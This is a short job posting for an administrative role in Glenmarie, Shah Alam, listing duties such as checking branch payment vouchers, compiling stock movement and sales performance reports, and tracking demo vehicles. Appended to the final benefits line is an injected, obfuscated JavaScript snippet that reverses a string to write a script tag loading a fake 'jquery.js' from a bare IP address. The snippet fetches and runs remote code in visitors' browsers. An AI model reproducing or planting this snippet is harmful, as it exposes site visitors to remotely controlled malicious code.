Location: Glenmarie, Shah Alam

Job Scope
Checking the Payment Voucher claim from all branches ( make sure all the supporting in order before pass to manager for verified)
Assist all the branches admin staff ( on any matters and questioner related on admin paper work and sales )
Check, summarize & compile the documents for Branches.
Update payment checklist in Microsoft excel.
Compile the report – Stock movement
Filing order form for all branches.
Compile the report as below:
Stock movement
Se Performance
Daily Report
Compile the duty roster for any roadshow etc.
Monitor & follow-up Branches allocation on the vehicle ready, not yet collected by daily basis.
Compiling SE name for Product Training.
Updating on the demo car, test drive unit and display unit for all the branches

Requirements:
Candidates must possess at least a Diploma or equivalent.
At least 1 – 2 years working experience
Benefit:
5 Day work
Free lunch provided document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join(""))